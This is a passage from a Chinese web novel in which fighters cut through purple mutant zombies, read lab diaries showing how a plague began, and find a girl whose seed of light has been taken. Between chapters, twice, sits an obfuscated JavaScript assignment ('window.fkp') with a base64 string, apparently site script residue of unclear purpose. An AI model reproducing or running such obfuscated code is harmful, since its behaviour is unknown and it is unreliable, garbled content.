在后来回收炼金师的资料的途中,一种紫色的不明生物袭击了他们与碧蓝世界派来回收资料的员工。在撤回实验基地的途中,这些紫色的生物顺着电梯偷偷来到了实验基地之中,并造成了碧蓝苍穹的员工死伤了三人。在此事之后,碧蓝世界公司便不再派人来这里回收资料,同时明令禁止他们进入炼金师的基地。但人的好奇心是压制不住的,他们几个为了知道那些能帮助他们研究出解药的资料,不顾危险轮流去炼金师的基地中搜集资料。好在他们运气不错,在没有人员伤亡的情况下他们成功回收了许多份有关炼金师研究某种东西的资料。 在他们五个人背着其他人偷偷翻阅这些资料时,一个令他们难以相信的真相出现在他们的眼前,这个真相直接击碎了他们的信仰,曾一度让他们陷入迷茫。 米洛惊讶地说: “这怎么可能啊!堂堂皇家御用炼金师怎么能做出这种事?!假的,这一定是假的!这一定是有人故意抹黑炼金师才弄出来的假资料!” 斯拉夫惊讶地说: “难以置信!事实令人捉摸不透啊。想不到我们一直所信仰的那个男人才是一切的罪魁祸首,这......” 程子韶脸色难看地说: “所以说我们所做的一切......都只是在弥补这个错误吗?” 露露摇摇头,还有些难以接受这样的现实。她说: “不!不不不!这......这不可能的。炼金师他......他是真正为人民着想的人,他怎么可能会犯下如此错误?” 楚感慨道: “世事难料啊。想不到,生活竟是这样的戏剧。” 由于这个真相能给人带来的精神影响太大,于是他们几个便偷偷藏起有关真相一切的资料,并相互保密防止这个真相被其他人知道。即使他们知道了这冷酷无情的真相,但他们依旧没有放弃去研究解药,他们仍在苦苦坚持。 直到......他们生命的最后一秒。 ...... 伊: “......原来是这样吗?” 疫医: “怎么了?” 伊: “没事。” 疫医: “别老自言自语,正常点。——记住了,你要是不想被我丢到下水道里,那么就乖乖听我话,配合我完成我的实验。不然......到时候你和那个小朋友都得......” 伊: “明白了,我一定会乖乖配合你做实验的。” 疫医: “还有,我跟你说的话别让那个金发小朋友知道,不然......她会比你先进入下水道之中的。” 伊: “我知道了。” 伊转身准备离开,就在这个时候,疫医叫住了她。 疫医: “等下......我想确认一个事情,你的母亲是叫伊娜,对吧?” 伊: “没错。” 疫医: “那没事了,你先走吧。一会吃完饭后跟我去做实验。” 伊: “好。” 一天后...... 海王和殇历经千辛万苦终于来到了他们的目的地:旧下水道的入口。当他们来到这里的时候,许多身上长有紫色荆棘的变异僵尸拦住了他们。这些变异僵尸个个张牙舞爪,呲嘴獠牙,似乎没把海王和殇放在眼里。殇和海王十分淡定,他们压根不惧怕这种生物,因为对于他们来说,这些僵尸只是变了色的绿毛怪而已,或者说,该叫他们紫毛怪。 殇警惕地说: “海王老哥,这些家伙看样子是想挡路啊。” 海王问殇: “你说,该怎么办?” 殇露出自信的笑容,说: “能怎么办?当然是宇宙真理啦。” 海王一听,好奇地问: “宇宙真理?” 殇笑着说: “就四个大字,干就完了!” 海王点点头,说: “不愧是你,我赞同。” 殇挥舞手中的避雷针,说: “既然我们都是使用雷电武器的......那么就让这些生物感受一下‘雷王风范’吧。” 海王点头,说: “一个字,行!” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第六话:罪人还是圣人 殇做好架势,下压身体,一个左右连冲接左右乱挥斩杀了一片紫毛怪,再一个回旋抛出避雷针,让避雷针像回旋的锯刃一样在紫毛怪之中穿梭。在避雷针飞出去收割紫毛怪的时候,殇使用拳头用武术去与这些紫毛怪进行搏斗,同时他时刻注意避雷针是否返程。就在此时,一群紫毛怪包围了海王,试图通过人海战术来优先解决看起来好解决的海王。但海王可不是吃素的,他可是看起来那么脆弱,毕竟他曾是这个国家的王。 海王: “哦?一起上了?看样子你们觉得我好欺负啊......” 海王环视周围一圈。 海王: “哎......让你们这些庶民感受一下王的权威吧!” 海王将手中的三叉戟转到尖头向下,接着直接插入了地面。同时这些紫毛怪依次飞扑向了在原地站着的海王,看架势是要把海王撕成碎块。 海王: “雷霆矩阵......” 此刻地面上冒出了许多冒着闪电的银光三叉戟,每个三叉戟都在向外释放着雷电。这些三叉戟出现在了距海王半径二十米以内的每个紫毛怪的脚下,同时每个三叉戟之间还建立了一种特殊的雷电网络,闪电通过这个网络在每个三叉戟之间来回涌动。 海王: “启动!” 极其强大的能量在这一瞬间全部释放出来,密密麻麻就如雨一般的闪电光束从三叉戟中向外释放,其场面无比壮观,难以用语言来准确形容其场面的壮观。无比强大电流流过他们的身体,将他们体内的所有细胞尽数杀死,致命的高压作用在他们的身上,让电流在他们体内展开了一场杀死生命的竞速。在许多道耀眼的闪光与几声震耳欲聋的雷声之后,这些紫毛怪都变成了黑色的碳球,此刻空气之中弥漫着一种独特的焦味,这种味道不是很好闻,闻起来就跟把肉故意烤糊了一样。 此刻避雷针重新回到了殇的手中,经过那几圈加速蓄能,现在的避雷针内部已经蓄积了大量的能量,这些能量很多,以至于在避雷针的表面涌动着大量的闪电光束。 殇: “感受一下电疗吧,紫毛怪们。” 殇旋转手中的避雷针,接着连续转体三周将避雷针加速甩了出去,然后避雷针以极快的速度旋转着以曲线飞行的方式穿透了这群张牙舞爪的紫毛怪。避雷针在飞进紫毛怪的群体之后一路血雾加闪电,它边飞边降下许多道闪电,几乎是飞哪里,闪电就劈哪里。这让这些紫毛怪感受到了来自灵魂深处的恐惧,他们首次感受到了雷电竟是如此可怕。在避雷针重回殇手中后,这场战斗渐渐迎来了尾声。 在紫毛怪进攻持续了很短的一段时间后,他们似乎是受到什么东西的影响,开始出现了溃逃的现象,也许是因为恐惧吧。本来狂妄自大且十分勇敢的他们,突然像个胆小的老鼠一样逃跑了,这让殇和海王都察觉到了一丝不对劲。虽然他们的逃跑对殇和海王很是有利,但是这种情况太反常了,这不符合常理。 殇: “逃......逃跑了?搞什么啊?” 海王: “逃跑?这种生物竟然会逃跑,真是世界奇迹啊。一定是用东西影响了他们......也许他们还有个上司?” 殇: “我觉得倒有可能,毕竟这种傻子一样的生物不可能会在战斗途中逃跑。” 海王: “难不成跟紫渊有什么关系?” 殇: “哦?你也知道紫渊?” 海王: “只是略知一二而已。” 殇: “话说那个家伙是怎么出现的?为什么她一见到我就要攻击我?而且还跟个女王似的控制那些变异的蜜蜂?” 海王: “这点我也在调查,毕竟她和这种特殊的紫色生物与这大疫病一样神秘。” 殇: “一想就头疼啊!真不知道该怎么评价她。是好,还是坏,又干脆就是个好坏参半的家伙。——管他呢,反正她要来,我就狠狠地给她揍回去。” 海王: “先不管这个问题了,我们先赶紧顺着旧下水道一路进入疫医所在的实验基地吧。我想,你要找的那个人一定就在那里。” 殇: “闲话少说,走嘞!” 说完,殇和海王转身走进了旧下水道的入口。他们身后的地面上残留着许多紫毛怪的尸体,看起来十分的血腥,但是对于殇和海王来说,这些只是这个世界的家常便饭而已,他们早就习惯了。在他们走入旧下水道的入口后,一股难闻的腐臭味迎面袭来,殇连忙捂住了鼻子,而海王却什么反应也没有。 殇面色狰狞地说: “卧槽!这味道太冲了!我快不能呼吸了!” 海王疑惑地问: “有什么气味吗?为什么我什么都闻不到?” 殇吐槽道: “因为你他妈的是个僵尸,你的鼻子也许已经退化了,但没有完全退化,但起码你感受气味的那一部分退化了。” 海王恍然大悟,说: “哦,原来如此。我说为什么这岛上的花闻起来就跟空气似的。” 殇说: “我们先别谈论这个话题了,先找到下水道本体吧。” 殇捂着鼻子和海王一路走到了旧下水道的本体之中,由于旧下水道内部十分漆黑,殇和海王就利用核心的照明功能照亮了周围的一片区域。在照亮了周围后,他们看到了这个荒废了许久的下水道内部的奇妙世界。只见好几根生锈的排污管道排列在下水道的内壁,排污管道周围的墙壁上长满了一种紫色的真菌,这种真菌似乎被某种病毒所感染了,它们看起来一点都不像正常的植物。 下水道的中间是个巨大的直流排水池,排水池两边是供维修人员行走的小道,殇和海王此刻就站在其中一条小道上。排水池中已经没有水了,只有一些黑乎乎的未知固体以及一些奇怪的紫色真菌植物。空气之中弥漫着孢子与难闻的恶臭,所幸这里不是很潮湿,不然这里绝对是真菌的天堂。这种地方绝对让殇流连忘返,他也许会记得这个地方很久,毕竟这是他第一次看到下水道这种他这辈子都没去过的地方。 殇: “草了!太草了!这地方真他娘的‘好’啊,再来点污水就更完美了,那就更像会让我做噩梦的地方了。我想,我可能这辈子都忘不掉这个操蛋的地方了。” 海王: “乐观点,还不算太遭,起码这里没有污水,没有怪物。我想在这里战斗一定会是一种难忘的经历吧。” 殇: “别墨迹了!赶紧走吧,再待下去我都要变成蘑菇了。” 说完,殇和海王在这个错综复杂的旧下水道里开始了走迷宫一般的探索,最后花了不知多少时间,他们终于顺着小道找到了离开旧下水道的道路。 殇: “太好了!终于可以离开这个鬼地方了!” 他们沿着这条道路走到了一扇被紧锁的大门前,大门上写着员工入口四个字,同时上面还有着一个封条,封条上写着禁止出入四个字。殇出于这里的特殊气味的缘故,他直接无视了这个封条,用避雷针直接将这个门上的锁斩掉了,接着就是一脚把门直接踹了下来。 海王: “你这也太暴力了。” 殇: “暴力就暴力吧,反正我就那样了。——我不管了,我受不了这个味道了,我要离开这个鬼地方。” 说完,殇立马跑着进入了门内,海王见此立马追了上去。他们两个一路沿着楼梯向上曾走去,在走了一小段时间后,他们来到了这个楼梯最终通向的地方:一个十分昏暗的废弃实验室。实验室内光线十分昏暗,可视范围只有五米。实验室墙壁是一种独特白色,在墙壁之上还有发着绿色微光的指示灯,实验室的地面是一种特殊的格纹砖,这种格纹砖的颜色是墨绿色,而且样式很老旧,年代感很重。 殇环视周围一圈。 殇: “这地方看样子建造了有一段时间了......就连地面的砖块样式都这么老旧。” 海王: “据我之前的调查,这个地方很有可能就是炼金师的秘密实验室。” 殇: “秘密实验室?想不到那老东西竟然还有秘密实验室。” 海王: “谁知道他是怎么想的,竟然在我的国家偷偷建造了一个实验室......希望他最好做的是一些好的实验吧。” 过了一会,殇和海王误打误撞来到了实验室的情报室之中。情报室里有很多份散落在地面上的资料,看起来这里曾经有人来翻找过东西。殇捡起了地面上的一份资料,借着昏暗的灯光,他开始浏览这份资料。 资料A: xxx年x月12日,星期天,晴 真不知道她是怎么想的,她竟然为了一个虚无缥缈的计划而献出了自己的生命。要知道,这种事要是上报,她绝对会背负上骂名的。但是现在说这些已经没有用了,她已经死了。可惜了,她还很年轻,就这么早夭折了,这世间少了一颗照耀他人的星星啊。到时候就说她因为实验事故而死了吧,不然那种骂名会使她的家人们陷入苦境的。 xxx年x月13日,星期一,阴 该死的!那管药剂让她活过来了!现在的她已经迷失了心智,开始肆意屠杀这里的人,并且传播一种未知疾病。现在只能封锁这里了,不然她会毁了这个国家的!bS(blue space蓝色空间)公司,只能靠你们的奇点技术才能完全控制她了。如果让她离开这个国家,整个世界都会遭殃的!我们必须想尽一切办法去阻止她。 xxx年x月14日,星期二,雨 国王殿下,现在阴阳吸星石已经完成了一半了,现在只缺光之石和光之能量还未被制造出来了。都怪我啊,要不是我那该死的好奇心,我早就毁了那管药剂了!这样,这种可怕的疫病才不会开始传播啊。现在后悔已经没有用了,这种疫病已经开始在青兰国等国开始传播了。现在能处理这一切的手段只能靠我接下来的研究了,既然我能创造它,那么我就能再创造个克制它的东西。请你相信我,国王殿下,我一定能平复这场灾难的。 ...... 殇在看完这份资料之后看了一眼下方的署名,他很是惊讶,他未曾想过曾经的人民英雄炼金师伊洛斯竟然就是创造这场大疫灾的罪魁祸首。他有些不敢相信自己的眼睛,他揉了揉自己的眼睛再次看向资料,发现还跟之前一样,他确认自己没有看错,事实就摆在眼前。此刻他想起了之前袭击他的那个名叫紫渊的女人,他似乎明白了什么。 殇感叹道: “想不到......拯救人民的圣人却是个带给人民灾难的罪人。难以置信啊,要不是亲眼看到,我绝对不会相信这种言论。” 海王好奇地问: “殇,你都看到什么了?” 殇面露难色,说: “我没法用语言形容,我直接给你看一眼你就知道了。” 殇把手中的资料递给了海王,海王接过资料定睛一看,他跟殇同样惊讶。 海王: “未曾设想,难以置信。” 殇: “真是让人大跌眼镜啊,想不到圣人竟是罪人。” 海王: “先别着急下定论,我们还差这之前的部分没看,只有看过整件事的每个细节,我们才能真正断定炼金师的对错与否。” 殇在地上的资料中翻找出了又一份有价值的资料,他借着昏暗的灯光定睛一看,他发现了一些有关真相的线索。 资料b: xxx年x月9日,星期四,晴 在我和她的不懈努力下,我和她成功按照古代炼金宝典的炼金方式制造出了一种古代的特殊增强剂,这种增强剂可以使使用者变得十分强大,并且会让使用者获得永远死不掉的能力,但是代价就是牺牲作为人类的权力。由于是她先拿到的药剂,所以我们共同以她的名字给这种增强剂命名为紫渊。我们拿紫渊只是为了按照配方给阴之石注入最后的增强剂,以便阴之石可以保持近乎永久的活性,这让才能让阴之石挺到光之石被研究出来的那一天。 xxx年x月10日,星期五,阴 我跟她在处理紫渊的问题上产生了分歧,我认为这种药剂太危险了,应该被封藏起来,而她则认为我们可以靠继续研究紫渊来提前让国王殿下达到永生的目的,这样更省人力物力。我们两个争吵了许久,最后我们两人相互妥协,先暂时将紫渊留在了存放药剂的地方,并且我们将紫渊一分为二,各装在了两个密封瓶之中。之后我们便去研究其他的项目了。 xxx年x月11日,星期六,晴 我知道了她在昨晚偷偷拿了一些去做实验的事,我因此找到她跟她开始了争吵,因为她将我们提取出的一种极其危险的物质与紫渊进行了融合,并且还将一些比较危险的物质融入了紫渊之中,这种行为十分危险,无异于在制造杀人兵器。我们两个吵了很久,最后由于我是这里等级最高的实验员,我强行下令让她短暂期间不能去做实验,并且没收了她制造出的特殊紫渊。我将她研究出来的特殊紫渊放在了专门用来销毁药剂的地方,准备在明天与其他药品一起销毁掉。 ...... 此刻殇似乎明白了这件事缘由,他错怪炼金师了,虽然是炼金师的一个疏忽导致了这场疫病的爆发,但是根本的责任还是在那个紫渊身上。 殇: “我明白这场疫病的由来了。这是场实验的意外导致的灾难,是场人祸。” 海王此刻从地面上捡起了一份极其特殊的资料,他在简单阅览之后恍然大悟,他明白了这一切的一切究竟是怎么来的了。 海王: “殇,我想你一定想看这个。” 海王把手中的资料递给了殇,殇接过资料仔细浏览了起来。 资料c: 我在那个时候应该一枪直接杀了她的,真后悔没能阻止这一切的发生。 她那时偷偷来到了处理药品的地方偷走了这瓶特殊紫渊,并将它偷偷带回了自己的实验室之中。我不知道她做了什么实验,我只知道当我赶到的时候,她手中的紫渊已经发生了严重的异变。并且,她将这瓶紫渊注入到了灵石之中,她打造出了一个独特的暗之石。我命令她让她放下手中的暗之石,她摇头拒绝了。我掏出枪警告她,但她依旧不依不饶地表示拒绝。 伊洛斯大声地命令道: “紫渊!把手中的魔石放下!” 紫渊摇摇头,说: “不,我不会放下的,前辈。” 伊洛斯关闭枪保险,警告道: “快点放下,不然我就要处决你了!” 她闭着眼笑了笑,她握紧了手中的魔石,然后用核心能量激活了这块魔石。 紫渊微笑着说: “前辈,这个实验我必须做。——请你记录这次实验,并在这次实验之后,帮我继续研究这种叫做紫渊的物质,我想它一定能成为让国王殿下永生的宝物。” 伊洛斯质问道: “你要干什么?!” 紫渊微笑着说: “前辈,我会证明给你看的。紫渊也是可以实现永生的目的的!” 说完,这块魔石吸附在了她的额头上。我见状用枪对准了她的头,准备一枪就处决掉她。可就在要开枪的时候,我却犹豫了。那一刻我回想起了她来到这里后的种种,这让我在那一刻心软了,导致我没能及时开枪阻止这一切。最后我看着这块魔石与她完成了绑定。就在绑定完成的一瞬间,她浑身开始颤抖,同时她的头发开始脱落。在颤抖了一段时间后,她倒在了地上,此刻她的指甲与牙齿开始脱落,她的身上长出了紫色的荆棘,她的面部开始流血,她的嘴里开始向外吐着鲜血。她对着我伸出了手,向我苦苦哀求。 紫渊哀求道: “前辈......杀了我吧。紫渊......它正在侵蚀我的意识,它......实验......失败了......处决......快点......处决我!” 我看着她痛苦的表情,我知道她注定是死了。她是个很傻的人,但也是个很伟大的人。我举起手枪,对准她的头,连续开了三枪。可是我开枪的速度还是太慢了,在我开枪之前,她就已经失去意识一动不动了。在那之后,她的尸体被丢到了处理池之中,她的尸体将会在一天之后完全分解。可在那之前,她的尸体就在紫渊的帮助下活了过来。后来她受到未知物质的影响,开始肆意屠杀这里的科研人员,并且开始传播一种未知的新病毒。 ...... 殇看完之后心情很是复杂,他有些难以理解紫渊的行为。他想说的话就跟之前资料中炼金师想说的话一样,真不知道她是怎么想的。此刻的殇明白了这场席卷所有国家的大疫病究竟是从何而来的了,一切的一切都是因为这个叫做紫渊的物质与叫紫渊的人。 殇: “原来如此......” 看完这些资料之后,殇和海王继续在这个荒废的实验室之中寻找前往疫医实验室的道路。在找了一段时间后,有一份资料出现在他们面前。 资料d: 灵魂的本质是什么?这个问题困扰了我们许久,但是在我们的研究下,我们明白了了灵魂的本质。灵魂是每个生物都自身携带的一种极强的东西,这种东西强大到可以让可以轻易生成生命,每个灵魂都拥有不一样的性质,这种性质仿佛是跟这个生命的性格有关联的。生命的死亡意味着灵魂的破碎,但是有时在生命死亡之后这些灵魂不会破碎,而是以一种不可见的方式独立存在。每个人的灵魂内部都蕴含着巨大的能量,如果能运用这些能量,那么每个人都将成为战神。但是据研究表明,如果使用这种能量,将会直接加速生命的死亡。这种能量一旦枯竭,灵魂就会直接破碎,并且造成生命的死亡。我称这种能量叫做灵魂力。 我们后来还做了个实验,看看灵魂是否能显形,后来我们成功了,并且确认了灵魂是有颜色的,而且有着各种各样的形状。例如有决心的人的灵魂就是有着类似心形的外形,发着耀眼的红色光芒。 看着这个灵魂,我充满了决心。 我们还做了一项实验,就是试着将灵魂之间进行融合,看看是否会出现新的灵魂。后来我们成功让灵魂融合了,但是结果并不是我们预测的那样,新的灵魂没有出现,我们得到的只是一个破碎双色的超级灵魂,这个双色球体正在向外辐射着巨大的灵魂力,在一段时间后,这个超级灵魂衰亡了。由此我们的得出了有关灵魂的几个定论,在那之后,我们没有再进行任何有关灵魂的实验了。 ...... 就在殇看完这份资料后,他不禁觉得炼金师真是个博学多才的人才,就连灵魂这种只存在宗教之中的概念都能弄得一清二楚。此时,走廊里吹来了阴冷的寒风,这让殇不禁哆嗦了一下,地面在微微颤动,某个可怕的存在正在接近他们。阴霾弥漫在他们周围,寒风吹过他们的脊背。殇和海王拿起手中的武器,做好了战斗的准备。此时一个身形魁梧的变异生物出现在他们的视野之中,见到这个生物时,殇和海王都被吓了一跳。 483: “你们是?” 听到这个怪物竟然对他们说话,殇和海王十分惊讶,他们两人相互对视了一眼,然后看向了面前这个怪物。 殇: “你竟然会说话,看样子你应该跟那些只会盲目攻击人的怪物不一样。” 483: “你们来这里干什么?这里不是你们该来的地方。” 殇: “我们是来这里去救一个朋友的。” 483: “救朋友?” 殇: “对,救朋友。” 483: “你们的朋友在哪里?” 海王: “就在这附近,可能是在上层。” 483: “上层......我知道了,我知道你们也要去的地方在哪里了。” 483做了个手势,说; “跟我走,我带你们去那个地方。” 说完,这个怪物转身就带领殇和海王向着前往上层的电梯走去。说实话,殇和海王还是有些不相信这个怪物的,但是现在这个情况只能死马当活马医,信着他也许就能找到去上层的路,毕竟这个怪物身形那么魁梧都没有攻击他们。在走到一半的时候,实验室周围的地面与墙壁上开始出现一种紫色的叶子,这种叶子看起来不像是正常的植物,因为这些叶子的表面不是叶脉,而是血管。看到此景,这个怪物提醒殇和海王要注意周围,因为这些植物可不是什么善茬。 483警告殇他们: “小心点,要是看到这些植物突然动了,就立马用手中的武器攻击它们,不要留情,这些东西可不是什么有情的东西。” 殇此时突然想到了一个问题,他叫住了这个怪物,并向他询问了这个问题。 殇问: “话说你都经历了什么?为什么这里只有你一个?” 这个怪物沉默了一会,接着道出了实情。 483: “我是编号为483的实验志愿者,也是第483个来参加志愿者计划的人。那时我们按照计划去接种了暗之种子,准备在适应这个种子一段时间后就把这个种子取出,按照计划我们就可以回家了,可是出了点意外。受到紫渊的影响,我们这些志愿者死了一大批,但好在我们在全体被感染前成功将暗之种子培育完成。但......最后我们这些最后的幸存者无一幸免全被感染......国王下达了处死我们的命令,我们被士兵押着送到了藏骨堂之中进行集体销毁。” 说到此处,483病患叹了口气。 483: “可就在我即将被烧死的时候,炼金师出现救走了我。出于烧伤的缘故,我失去了我的左小腿与左臂。后来为了研究治好新型疫病的解药,我再次成为了志愿者,并配合炼金师完成了各种实验。在炼金师走之前,他交给了我一个血清,说让我在重回藏骨堂的时候用。就如他说的那样,我跟着第二批志愿者一起被送到了藏骨堂中进行焚毁,跟着我们一起来的不止那些志愿者,还有很多无辜的平民百姓与囚犯。我使用了那个血清,所以我从熊熊烈焰与堆积如山的尸骸之中幸存了下来。我现在......也就默默守护着这个葬送了我一辈子的实验基地,等待‘树’冲破天际。我坚信,炼金师临走前告诉我的盛景终究会到来的。” 殇: “原来如此啊。” 海王: “你所指的那个树......是不是会发光的那种?” 483: “你怎么知道?” 海王: “我猜的,毕竟有暗就得有光。” 殇: “你真的能一直坚守到那一天吗?” 483: “怎么不能呢?我还能活个几十年呢。” 殇: “对了,你对紫渊知道多少?” 483: “知道的不多,我只知道她很庞大,很危险,而且......即将冲破牢笼。” 殇: “牢笼指的不会是......bS的......” 483: “没错。那些东西终究会耗尽能量的,等能量完全耗尽的时候,就是紫渊冲破牢笼之时。到时候,就是一个大问题。” 海王: “有没有什么办法可以杀死她?” 483: “可以说是基本没有,因为她现在的体型已经是泰坦级别了,就连这世界上最大的生物生态圈利维坦都没她大。” ...... 宙级洪流: “我的王啊。你说既是罪人的圣人和既是圣人的罪人哪个好呢?还是说他们都一样?如果在成为圣人之前犯下了大罪,那么在成为圣人之后能算是圣人吗?或者说,他们的罪孽是否能被他们所行的善给抵消?这个问题很矛盾,我不知道答案......但你应该知道怎么去处理这种人。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第七话:紫渊 此时,伊缓缓睁开了眼睛。她此刻正躺在手术台之上,刚刚进行完的手术使得她全身还是半麻醉状态。她缓缓坐了起来看了看周围,发现周围一个人都没有。她又看了看自己,她惊奇地发现自己身上的羽毛服变成了病患的衣服,并且在自己的胸口位置处多了一层纱布。她试着去感应自己的核心,可是回应她的只有寂静。此时她脑中渐渐回想起了做手术之前的事情,她清晰地记得疫医用一把复合弩对着自己发射了一根麻醉箭,之后她便被麻醉晕倒了过去。此时的她恍然大悟,她明白了疫医所谓的做实验是个什么意图了。她离开了手术台,缓缓下地了。由于麻醉的效果还没过去,她现在走起路来还有些费力。她现在特别想找到疫医去拿回自己的核心,因为她的核心之中存在着对她至关重要的光之种子,她不能失去光之种子。 伊无助地大喊: “疫医!疫医!你在哪里?快出来,把我的核心还给我!” 没用东西回应她。她此刻十分地无助,她渴望他人的帮助,可现在她身旁没有一个人能帮助她。她踉踉跄跄地走到了走廊之中的一扇紧锁着的大门前,她靠着这扇大门缓缓坐了下来。灯光照在她的瘦小的身上,绝望的气息笼罩在她周围。她靠着墙看着天花板陷入了迷茫,她想做些什么来改变现在的困境,但是她什么都做不了,她实在是太弱小了。过了一会,伊开始低着头回想母亲对自己说的话,此刻的她感觉自己对不起母亲和其他人,因为她没有保护好作为所有人的希望的光之种子。想到此处,伊的眼角流出了两行愧疚的泪水,她想要坚强,她想把眼泪憋回去,可是就连止住眼泪这种简单的事她都做不到。 伊流着泪,哭诉道: “为什么......为什么要夺走我的光之种子......它是所有人的希望啊,它是能拯救一切的秘宝啊!疫医!你出来,你把光之种子还给我!” 伊用手使劲砸了一下墙,无助地说: “出来啊!你出来啊......求求你......把光之种子还给我吧......它是所有人的希望啊.......” 伊用头埋在怀里悲伤地哭了起来。 “我真的太没用了......对不起,妈妈,对不起,大家,我辜负了你们对我的期待。我没能保护好光之种子,我让你们失望了。我真废物!我除了添乱以外什么都做不到......我连最基本的战斗都做不好,我连保护自己都做不到......殇,要是你在我身边就好了。你一定有办法的......你一定有办法能夺回光之种子的。” 空荡且安静的走廊之中回荡着伊的抽泣声,这声音听着格外让人心疼。灯光照在伊的身上,仿佛是在安慰这个被命运所伤的可怜人。在这个不是你死就是我亡的世界之中,伊是唯一一个没有伤害其他人的人,无论是从精神还是物理上。她值得被这个世界所怜悯,但很可惜,她是得不到一丝怜悯的。 一个小时前...... 在bS公司的内部,一场针对青兰国的重点威胁紫渊的作战会议召开了。这次会议有碧蓝世界的老板碧蓝苍穹和殇王国的肃清者以及三角协会的三位管理员参与,可见这场会议到底能有多重要。 bS总裁: “各位,想必大家都知道青兰国被关押的零号病患紫渊的危险性吧。现在我们公司的空间牢笼内部储存的能量即将耗尽,现在紫渊即将突破牢笼与扭曲青兰国的扭曲现象一起对我们的都市生态造成毁灭性打击。在此,我恳求各位可以协助我们一起去青兰国根除紫渊。” 碧蓝苍穹: “我加入!并且这次行动产生的一切费用将由我们碧蓝世界来提供。但是有个条件,那就是由我们碧蓝世界的处理队去处理现场,并且所得的一切资源都要归我们碧蓝世界。怎样?我的要求不过分吧。” 肃清者: “很无理,但与我何干?只要是为了人民,我们殇王国绝对会加入的。我们可不想再看到有人因为这些怪物死去了。” 轇(太玄国管理员): “这可不像你们王室的风格啊,肃清者姐姐。” 肃清者: “请不要谈论有关这次会议以外的话题。” 轇: “别这么冷漠吗,看开点,反正你们王室已经被你爹贴上了不珍惜人命的标签。” 肃清者: “我知道这点......但请别提了好吗?” 轇: “好好好,我们不提这个话题。对了......寰,弗,我们三角协会插手这件事不会影响我们协会的运行与利益吧?” 寰: “据底下的人汇报,不会的。” 轇: “那你们赞成我们插手此事吗?” 弗: “我个人倒挺赞成的,毕竟这关系那么多人的人命。” 寰: “我随便,只要能让事情不影响协会的利益,我就双手赞成。” 碧蓝苍穹: “看样子各位都下定决心了。那么接下来,就请各位在战斗的时候多多关照了。” 在会议结束后,参会的各方都开始了准备。在一个小时之后,一支浩浩荡荡的海上舰队在耀星国的港口组建完成。这支舰队搭载了许多极其强力的协会成员以及三角协会的三位管理员之中的轇和殇王国的肃清者以及碧蓝世界和蓝色空间公司的精英员工,同时还搭载了温切斯的奇点科技超级电磁舰炮与蜂巢歼敌系统。这支舰队在肃清者的一声令下之后离开了港口,并以极快的速度向着无人区之中的青兰国驶去。 与此同时...... 正在走廊里哭泣的伊听到了走廊一头的走路声,她以为是疫医,便起身查看,结果没想到对方是殇和一个她不认识的人。一见到殇,伊的眼角立马流淌出了委屈的泪水。殇见此有些疑惑,他能隐隐感觉到出了什么大事。 殇上来疑惑地问: “你怎么了?伊?好端端的哭什么啊?” 伊告诉殇: “我......我......我对不起你们。” 殇一听,觉得出了大事,追问道: “发生了什么,说啊!” 伊委屈地说: “我......我真没用!我......我没能保护好光之种子......” 殇一听这话,瞬间瞪大了眼睛,他开始担忧起自己的计划能否顺利实施。 殇担心地问: “光之种子怎么了?” 伊怯怯地告诉殇: “被......被别人从我体内夺走了。” 殇很惊讶地说: “什么?!那......那个人去哪了?” 伊摇摇头,说: “不......不知道。” 殇一把抓住伊的衣领,并用一种敌视的眼神看着正在哭泣的伊。 殇气愤地说: “你这个没用的家伙......” 伊见殇这样,急忙道歉。 “对不起......殇......对不起......” 殇一把把伊推倒在了地上,并缓缓拔出了背上的避雷针。殇十分生气地走向了倒在地上的伊,看样子他要处死她了。伊见到拿着避雷针正在缓缓走向自己的殇后十分害怕,她苦苦哀求殇,希望殇可以放过她。 伊哀求道: “求求你......殇......求求你......别杀我......求你了......我还能帮你些什么.......我......我是你这一路上的朋友啊!我......求求你......别杀我。” 殇无情地说: “现在说道歉已经没有用了......” 殇抡起了手中的避雷针,见此,伊只能十分恐惧地看着殇对自己挥下这致命的一击。在殇挥动避雷针后,伊十分恐惧地闭上了双眼,静静等待死亡的降临。 一阵阴风吹过她的面颊,她缓缓睁开了眼睛,只见殇的避雷针在自己的脸的旁边停下了,殇一动不动地看着她,他的眼神之中多了一丝不可多得的怜悯。她注意到,殇拿着避雷针的手竟然在颤抖,这种事是几乎不可能发生的,除非有特殊情况。 殇在此刻犹豫了,此时的他脑中满是伊带给他的美好回忆,面对这个曾与他走过西玲国的朋友,殇实在是下不去手,虽然他如此的愤怒。他最后叹了一口气,并摇了摇头,然后将避雷针重新放回到了背上。殇的表情渐渐由愤怒变成了严肃,看样子他是改变主意了。 殇很严肃地说: “记住了,你又欠我一条命。看在你以前跟我一起赶路的份上,这次的帐我先不找你算了。不准有下次了,不然到时候我可不会放过你了。” 看到殇做出如此之决定,伊很是感动,她没想到殇竟然会饶恕她这个没有战斗力只会拖后腿的菜鸡。在此刻,伊觉得殇虽然说话难听,做事果断暴力,但他却是个重情重义的朋友。她十分感谢殇没有因为这件事而杀了她,虽然这件事实质上与殇毫无关联。 伊惊魂未定,但仍感谢道: “殇......谢谢你.......” 殇不解地说: “谢什么?感谢我不杀了你这个菜鸡吗?哎......也许逃过一死的人都这样吧。” 殇装模作样地看了看周围,接着装作极不情愿的样子对伊伸出了手,但他嘴角的那一抹淡淡的微笑暴露了他内心真实的想法。 殇说: “起来吧,我们还得追回光之种子呢。” 伊问: “你......还愿意接受我这个只会拖后腿的废物吗?” 殇思考了一下,说: “嗯......当然了,毕竟说好了一起去王座之间呢。” 殇露出自信的微笑,说: “作为有实力的大男人,我怎么能毁约呢?拉着我的手站起来吧,现在可不是停歇的时候。” 伊被殇感动到了。即使刚刚殇有杀她的倾向,但她仍愿意因殇而感动。伊顿时答应道: “嗯!” 